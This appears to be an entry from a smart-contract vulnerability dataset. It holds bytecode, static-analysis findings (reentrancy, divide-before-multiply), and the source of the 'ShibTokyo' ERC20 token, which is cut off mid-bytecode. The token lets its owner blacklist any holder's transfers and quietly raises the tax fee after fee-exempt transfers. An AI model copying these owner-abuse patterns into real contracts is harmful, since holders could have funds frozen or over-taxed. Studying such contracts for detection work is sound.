063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,857
0x5C610389eb2CF994b8eCfCcF57bD16CbBFF7b780
/** *Submitted for verification at Etherscan.io on 2021-08-15 */ /* https://t.me/ShibTokyo Fair Launch + No Dev Tokens + LP Locked + Ownership renounced on launch */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibTokyo is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ShibTokyo | t.me/ShibTokyo"; string private constant _symbol = "ShibTokyo"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 30000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601a81526020017f53686962546f6b796f207c20742e6d652f53686962546f6b796f000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53686962546f6b796f0000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e57